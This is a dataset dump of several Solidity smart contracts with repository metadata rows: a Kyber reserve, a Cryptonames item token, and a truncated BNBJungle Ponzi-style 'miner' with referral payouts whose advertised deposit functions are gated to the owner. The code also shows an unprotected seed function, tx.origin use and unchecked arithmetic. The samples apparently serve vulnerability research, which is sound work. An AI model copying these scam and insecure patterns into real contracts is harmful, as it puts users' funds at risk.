//check if the address is empty
function isEmptyAddr(address addr) internal pure returns(bool) {
return addr == address(0);
}
// convert to address
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
//convert from bytes to address
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
}
| 216,093 | 11,287 |
dd4a30b601b5f1048bab1f56f794e6b1bb92739fb43b6964aeff0f30a5339903
| 14,022 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x582ea0af091ae0d98fdf08216cb2846711a65f6a.sol
| 3,301 | 13,761 |
pragma solidity ^0.4.8;
// https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function totalSupply() constant returns (uint totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
function decimals() constant returns(uint digits);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/// @title Kyber Reserve contract
/// @author Yaron Velner
contract KyberReserve {
address public reserveOwner;
address public kyberNetwork;
ERC20 constant public ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant PRECISION = (10**18);
bool public tradeEnabled;
struct ConversionRate {
uint rate;
uint expirationBlock;
}
mapping(bytes32=>ConversionRate) pairConversionRate;
/// @dev c'tor.
/// @param _kyberNetwork The address of kyber network
/// @param _reserveOwner Address of the reserve owner
function KyberReserve(address _kyberNetwork, address _reserveOwner) {
kyberNetwork = _kyberNetwork;
reserveOwner = _reserveOwner;
tradeEnabled = true;
}
/// @dev check if a pair is listed for trading.
/// @param source Source token
/// @param dest Destination token
/// @param blockNumber Current block number
/// @return true iff pair is listed
function isPairListed(ERC20 source, ERC20 dest, uint blockNumber) internal constant returns(bool) {
ConversionRate memory rateInfo = pairConversionRate[sha3(source,dest)];
if(rateInfo.rate == 0) return false;
return rateInfo.expirationBlock >= blockNumber;
}
/// @dev get current conversion rate
/// @param source Source token
/// @param dest Destination token
/// @param blockNumber Current block number
/// @return conversion rate with PRECISION precision
function getConversionRate(ERC20 source, ERC20 dest, uint blockNumber) internal constant returns(uint) {
ConversionRate memory rateInfo = pairConversionRate[sha3(source,dest)];
if(rateInfo.rate == 0) return 0;
if(rateInfo.expirationBlock < blockNumber) return 0;
return rateInfo.rate * (10 ** getDecimals(dest)) / (10**getDecimals(source));
}
event ErrorReport(address indexed origin, uint error, uint errorInfo);
event DoTrade(address indexed origin, address source, uint sourceAmount, address destToken, uint destAmount, address destAddress);
function getDecimals(ERC20 token) constant returns(uint) {
if(token == ETH_TOKEN_ADDRESS) return 18;
return token.decimals();
}
/// @dev do a trade
/// @param sourceToken Source token
/// @param sourceAmount Amount of source token
/// @param destToken Destination token
/// @param destAddress Destination address to send tokens to
/// @param validate If true, additional validations are applicable
/// @return true iff trade is succesful
function doTrade(ERC20 sourceToken,
uint sourceAmount,
ERC20 destToken,
address destAddress,
bool validate) internal returns(bool) {
// can skip validation if done at kyber network level
if(validate) {
if(! isPairListed(sourceToken, destToken, block.number)) {
// pair is not listed
ErrorReport(tx.origin, 0x800000001, 0);
return false;
}
if(sourceToken == ETH_TOKEN_ADDRESS) {
if(msg.value != sourceAmount) {
// msg.value != sourceAmmount
ErrorReport(tx.origin, 0x800000002, msg.value);
return false;
}
}
else if(msg.value > 0) {
// msg.value must be 0
ErrorReport(tx.origin, 0x800000003, msg.value);
return false;
}
else if(sourceToken.allowance(msg.sender, this) < sourceAmount) {
// allowance is not enough
ErrorReport(tx.origin, 0x800000004, sourceToken.allowance(msg.sender, this));
return false;
}
}
uint conversionRate = getConversionRate(sourceToken, destToken, block.number);
// TODO - safe multiplication
uint destAmount = (conversionRate * sourceAmount) / PRECISION;
// sanity check
if(destAmount == 0) {
// unexpected error: dest amount is 0
ErrorReport(tx.origin, 0x800000005, 0);
return false;
}
// check for sufficient balance
if(destToken == ETH_TOKEN_ADDRESS) {
if(this.balance < destAmount) {
// insufficient ether balance
ErrorReport(tx.origin, 0x800000006, destAmount);
return false;
}
}
else {
if(destToken.balanceOf(this) < destAmount) {
// insufficient token balance
ErrorReport(tx.origin, 0x800000007, uint(destToken));
return false;
}
}
// collect source tokens
if(sourceToken != ETH_TOKEN_ADDRESS) {
if(! sourceToken.transferFrom(msg.sender,this,sourceAmount)) {
// transfer from source token failed
ErrorReport(tx.origin, 0x800000008, uint(sourceToken));
return false;
}
}
// send dest tokens
if(destToken == ETH_TOKEN_ADDRESS) {
if(! destAddress.send(destAmount)) {
// transfer ether to dest failed
ErrorReport(tx.origin, 0x800000009, uint(destAddress));
return false;
}
}
else {
if(! destToken.transfer(destAddress, destAmount)) {
// transfer token to dest failed
ErrorReport(tx.origin, 0x80000000a, uint(destAddress));
return false;
}
}
DoTrade(tx.origin, sourceToken, sourceAmount, destToken, destAmount, destAddress);
return true;
}
/// @dev trade
/// @param sourceToken Source token
/// @param sourceAmount Amount of source token
/// @param destToken Destination token
/// @param destAddress Destination address to send tokens to
/// @param validate If true, additional validations are applicable
/// @return true iff trade is succesful
function trade(ERC20 sourceToken,
uint sourceAmount,
ERC20 destToken,
address destAddress,
bool validate) payable returns(bool) {
if(! tradeEnabled) {
// trade is not enabled
ErrorReport(tx.origin, 0x810000000, 0);
if(msg.value > 0) {
if(! msg.sender.send(msg.value)) throw;
}
return false;
}
if(msg.sender != kyberNetwork) {
// sender must be kyber network
ErrorReport(tx.origin, 0x810000001, uint(msg.sender));
if(msg.value > 0) {
if(! msg.sender.send(msg.value)) throw;
}
return false;
}
if(! doTrade(sourceToken, sourceAmount, destToken, destAddress, validate)) {
// do trade failed
ErrorReport(tx.origin, 0x810000002, 0);
if(msg.value > 0) {
if(! msg.sender.send(msg.value)) throw;
}
return false;
}
ErrorReport(tx.origin, 0, 0);
return true;
}
event SetRate(ERC20 source, ERC20 dest, uint rate, uint expiryBlock);
/// @notice can be called only by owner
/// @dev set rate of pair of tokens
/// @param sources an array contain source tokens
/// @param dests an array contain dest tokens
/// @param conversionRates an array with rates
/// @param expiryBlocks array of expiration blocks
/// @param validate If true, additional validations are applicable
/// @return true iff trade is succesful
function setRate(ERC20[] sources, ERC20[] dests, uint[] conversionRates, uint[] expiryBlocks, bool validate) returns(bool) {
if(msg.sender != reserveOwner) {
// sender must be reserve owner
ErrorReport(tx.origin, 0x820000000, uint(msg.sender));
return false;
}
if(validate) {
if((sources.length != dests.length) ||
(sources.length != conversionRates.length) ||
(sources.length != expiryBlocks.length)) {
// arrays length are not identical
ErrorReport(tx.origin, 0x820000001, 0);
return false;
}
}
for(uint i = 0 ; i < sources.length ; i++) {
SetRate(sources[i], dests[i], conversionRates[i], expiryBlocks[i]);
pairConversionRate[sha3(sources[i],dests[i])] = ConversionRate(conversionRates[i], expiryBlocks[i]);
}
ErrorReport(tx.origin, 0, 0);
return true;
}
event EnableTrade(bool enable);
/// @notice can be called only by owner
/// @dev enable of disable trade
/// @param enable if true trade is enabled, otherwise disabled
/// @return true iff trade is succesful
function enableTrade(bool enable) returns(bool){
if(msg.sender != reserveOwner) {
// sender must be reserve owner
ErrorReport(tx.origin, 0x830000000, uint(msg.sender));
return false;
}
tradeEnabled = enable;
ErrorReport(tx.origin, 0, 0);
EnableTrade(enable);
return true;
}
event DepositToken(ERC20 token, uint amount);
function() payable {
DepositToken(ETH_TOKEN_ADDRESS, msg.value);
}
/// @notice ether could also be deposited without calling this function
/// @dev an auxilary function that allows ether deposits
/// @return true iff deposit is succesful
function depositEther() payable returns(bool) {
ErrorReport(tx.origin, 0, 0);
DepositToken(ETH_TOKEN_ADDRESS, msg.value);
return true;
}
/// @notice tokens could also be deposited without calling this function
/// @dev an auxilary function that allows token deposits
/// @param token Token address
/// @param amount Amount of tokens to deposit
/// @return true iff deposit is succesful
function depositToken(ERC20 token, uint amount) returns(bool) {
if(token.allowance(msg.sender, this) < amount) {
// allowence is smaller then amount
ErrorReport(tx.origin, 0x850000001, token.allowance(msg.sender, this));
return false;
}
if(! token.transferFrom(msg.sender, this, amount)) {
// transfer from failed
ErrorReport(tx.origin, 0x850000002, uint(token));
return false;
}
DepositToken(token, amount);
return true;
}
event Withdraw(ERC20 token, uint amount, address destination);
/// @notice can only be called by owner.
/// @dev withdaw tokens or ether from contract
/// @param token Token address
/// @param amount Amount of tokens to deposit
/// @param destination address that get withdrewed funds
/// @return true iff withdrawal is succesful
function withdraw(ERC20 token, uint amount, address destination) returns(bool) {
if(msg.sender != reserveOwner) {
// sender must be reserve owner
ErrorReport(tx.origin, 0x860000000, uint(msg.sender));
return false;
}
if(token == ETH_TOKEN_ADDRESS) {
if(! destination.send(amount)) throw;
}
else if(! token.transfer(destination,amount)) {
// transfer to reserve owner failed
ErrorReport(tx.origin, 0x860000001, uint(token));
return false;
}
ErrorReport(tx.origin, 0, 0);
Withdraw(token, amount, destination);
}
function changeOwner(address newOwner) {
if(msg.sender != reserveOwner) throw;
reserveOwner = newOwner;
}
////////////////////////////////////////////////////////////////////////////
/// status functions ///////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev information on conversion rate from source to dest
/// @param source Source token
/// @param dest Destinatoin token
/// @return (conversion rate,experation block,dest token balance of reserve)
function getPairInfo(ERC20 source, ERC20 dest) constant returns(uint rate, uint expBlock, uint balance) {
ConversionRate memory rateInfo = pairConversionRate[sha3(source,dest)];
balance = 0;
if(dest == ETH_TOKEN_ADDRESS) balance = this.balance;
else balance = dest.balanceOf(this);
expBlock = rateInfo.expirationBlock;
rate = rateInfo.rate;
}
/// @notice a debug function
/// @dev get the balance of the reserve
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token) constant returns(uint){
if(token == ETH_TOKEN_ADDRESS) return this.balance;
else return token.balanceOf(this);
}
}
| 182,336 | 11,288 |
80424f1cdbc3b9aceaa2dd9befe721058825d9043689383136c192d0bf15ebbc
| 11,229 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0xAf1119aC13dA83961883773F715E58d43E2AAE07.sol
| 2,981 | 9,760 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemToken {
using SafeMath for uint256;
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
mapping (address => bool) private admins;
IItemRegistry private itemRegistry;
bool private erc721Enabled = false;
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private startingPriceOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => address) private approvedOfItem;
function ItemToken () public {
owner = msg.sender;
admins[owner] = true;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
function setItemRegistry (address _itemRegistry) onlyOwner() public {
itemRegistry = IItemRegistry(_itemRegistry);
}
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
function withdrawAll () onlyOwner() public {
owner.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public {
for (uint256 i = 0; i < _itemIds.length; i++) {
if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) {
continue;
}
listItemFromRegistry(_itemIds[i]);
}
}
function listItemFromRegistry (uint256 _itemId) onlyOwner() public {
require(itemRegistry != address(0));
require(itemRegistry.ownerOf(_itemId) != address(0));
require(itemRegistry.priceOf(_itemId) > 0);
uint256 price = itemRegistry.priceOf(_itemId);
address itemOwner = itemRegistry.ownerOf(_itemId);
listItem(_itemId, price, itemOwner);
}
function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner);
}
}
function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public {
require(_price > 0);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
startingPriceOfItem[_itemId] = _price;
listedItems.push(_itemId);
}
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100); // 5%
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100); // 4%
} else if (_price < increaseLimit3) {
return _price.mul(3).div(100); // 3%
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100); // 3%
} else {
return _price.mul(2).div(100); // 2%
}
}
function buy (uint256 _itemId) payable public {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _itemId);
priceOfItem[_itemId] = nextPriceOf(_itemId);
Bought(_itemId, newOwner, price);
Sold(_itemId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "Cryptonames.cc";
}
function symbol() public pure returns (string _symbol) {
return "CNS";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
}
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
Transfer(_from, _to, _itemId);
}
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) {
return startingPriceOfItem[_itemId];
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice) {
return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId));
}
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) {
uint256[] memory items = new uint256[](_take);
for (uint256 i = 0; i < _take; i++) {
items[i] = listedItems[_from + i];
}
return items;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
}
interface IItemRegistry {
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items);
function ownerOf (uint256 _itemId) public view returns (address _owner);
function priceOf (uint256 _itemId) public view returns (uint256 _price);
}
| 335,718 | 11,289 |
d73cf5e2fdb06745b9c3cf0de3ddaacbf064979224fd5c8b7490ee7753b752ef
| 15,616 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xeD657F01A396eE6d61a93841eB79b15A8043ADFF/contract.sol
| 4,539 | 14,722 |
// SPDX-License-Identifier: MIT
// Website : www.bnbjungle.com
pragma solidity ^0.5.10;
contract BNBJungle{
using SafeMath for uint256;
uint256 public BANNA_TO_HARVEST=2592000;
uint256 PSN=10000;
uint256 PSNH=5000;
bool public initialized=false;
address payable public ceoAddress;
address payable public ceoAddress2;
address public owner;
mapping (address => uint256) public bananaMonkeys;
mapping (address => uint256) public claimedBananas;
mapping (address => uint256) public lastReinvest;
mapping (address => address) public referrals;
uint256 public marketBananas;
uint256 constant public INVEST_MIN_AMOUNT = 5e16; // 0.05 bnb
uint256[] public REFERRAL_PERCENTS = [70, 30, 15, 10, 5];
uint256 constant public PROJECT_FEE = 100;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
bool public paused = true;
uint256 public totalInvested;
uint256 public totalRefBonus;
Plan[] internal plans;
struct Plan {
uint256 time;
uint256 percent;
}
struct Deposit {
uint8 plan;
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[5] levels;
uint256 bonus;
uint256 totalBonus;
uint256 withdrawn;
}
address payable public commissionWallet;
mapping (address => User) internal users;
bool public started;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable wallet) public{
ceoAddress=msg.sender;
ceoAddress2=address(wallet);
require(!isContract(wallet));
commissionWallet = wallet;
plans.push(Plan(10000, 20));
plans.push(Plan(40, 40));
plans.push(Plan(60, 35));
plans.push(Plan(90, 30));
owner = msg.sender;
}
function planInvest(address referrer, uint8 plan) public payable {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
if (!started) {
if (msg.sender == commissionWallet) {
started = true;
} else revert("Not started yet");
}
require(msg.value >= INVEST_MIN_AMOUNT);
require(plan < 4, "Invalid plan");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 5; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 5; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(plan, msg.value, block.timestamp));
totalInvested = totalInvested.add(msg.value);
emit NewDeposit(msg.sender, plan, msg.value);
}
function planwithdraw() public payable{
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
user.bonus = totalAmount.sub(contractBalance);
user.totalBonus = user.totalBonus.add(user.bonus);
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function setPaused(bool _paused) public {
require(msg.sender == owner, "You are not the owner");
paused = _paused;
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
time = plans[plan].time;
percent = plans[plan].percent;
}
function getUserDividends(address userAddress) public view returns (uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
uint256 finish = user.deposits[i].start.add(plans[user.deposits[i].plan].time.mul(1 days));
if (user.checkpoint < finish) {
uint256 share = user.deposits[i].amount.mul(plans[user.deposits[i].plan].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = finish < block.timestamp ? finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
}
}
return totalAmount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256[5] memory referralsPlan) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return (users[userAddress].levels);
}
function getUserTotalReferrals(address userAddress) public view returns(uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return users[userAddress].levels[0]+users[userAddress].levels[1]+users[userAddress].levels[2]+users[userAddress].levels[3]+users[userAddress].levels[4];
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 start, uint256 finish) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = plans[plan].percent;
amount = user.deposits[index].amount;
start = user.deposits[index].start;
finish = user.deposits[index].start.add(plans[user.deposits[index].plan].time.mul(1 days));
}
function getSiteInfo() public view returns(uint256 _totalInvested, uint256 _totalBonus) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return(totalInvested, totalRefBonus);
}
function getUserInfo(address userAddress) public view returns(uint256 totalDeposit, uint256 totalWithdrawn, uint256 totalReferrals) {
require(owner == msg.sender, "You cannot Start Function.");
require(paused == false, "Contract Paused");
return(getUserTotalDeposits(userAddress), getUserTotalWithdrawn(userAddress), getUserTotalReferrals(userAddress));
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function sellBananas() public payable{
require(initialized);
uint256 hashBnb=getMyBananas();
uint256 bannasvalue=calculateBananaSell(hashBnb);
uint256 fee=devFee(bannasvalue);
uint256 fee2=fee/2;
claimedBananas[msg.sender]=0;
lastReinvest[msg.sender]=now;
marketBananas=SafeMath.add(marketBananas,hashBnb);
ceoAddress.transfer(fee2);
ceoAddress2.transfer(fee-fee2);
msg.sender.transfer(SafeMath.sub(bannasvalue,fee));
}
function reInvestBananas(address ref) public{
require(initialized);
if(ref == msg.sender) {
ref = address(0);
}
if(referrals[msg.sender]==address(0) && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=ref;
}
uint256 bananasused=getMyBananas();
uint256 newMonkeys=SafeMath.div(bananasused,BANNA_TO_HARVEST);
bananaMonkeys[msg.sender]=SafeMath.add(bananaMonkeys[msg.sender],newMonkeys);
claimedBananas[msg.sender]=0;
lastReinvest[msg.sender]=now;
claimedBananas[referrals[msg.sender]]=SafeMath.add(claimedBananas[referrals[msg.sender]],SafeMath.div(bananasused,10));
marketBananas=SafeMath.add(marketBananas,SafeMath.div(bananasused,5));
}
function buyMonkeys(address ref) public payable{
require(initialized);
uint256 bananasBought=calculateMonkeysBuy(msg.value,SafeMath.sub(address(this).balance,msg.value));
bananasBought=SafeMath.sub(bananasBought,devFee(bananasBought));
uint256 fee=devFee(msg.value);
uint256 fee2=fee/2;
ceoAddress.transfer(fee2);
ceoAddress2.transfer(fee-fee2);
claimedBananas[msg.sender]=SafeMath.add(claimedBananas[msg.sender],bananasBought);
reInvestBananas(ref);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateBananaSell(uint256 bananas) public view returns(uint256){
return calculateTrade(bananas,marketBananas,address(this).balance);
}
function calculateMonkeysBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth,contractBalance,marketBananas);
}
function calcuateMonkeysBuySimple(uint256 eth) public view returns(uint256){
return calculateMonkeysBuy(eth,address(this).balance);
}
function devFee(uint256 amount) public pure returns(uint256){
return SafeMath.div(SafeMath.mul(amount,5),100);
}
function seedJungle() public payable{
require(marketBananas==0);
initialized=true;
marketBananas=259200000000;
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function getMyMonkeys() public view returns(uint256){
return bananaMonkeys[msg.sender];
}
function getMyBananas() public view returns(uint256){
return SafeMath.add(claimedBananas[msg.sender],getBanansSinceLastReinvest(msg.sender));
}
function getBanansSinceLastReinvest(address adr) public view returns(uint256){
uint256 secondsPassed=min(BANNA_TO_HARVEST,SafeMath.sub(now,lastReinvest[adr]));
return SafeMath.mul(secondsPassed,bananaMonkeys[adr]);
}
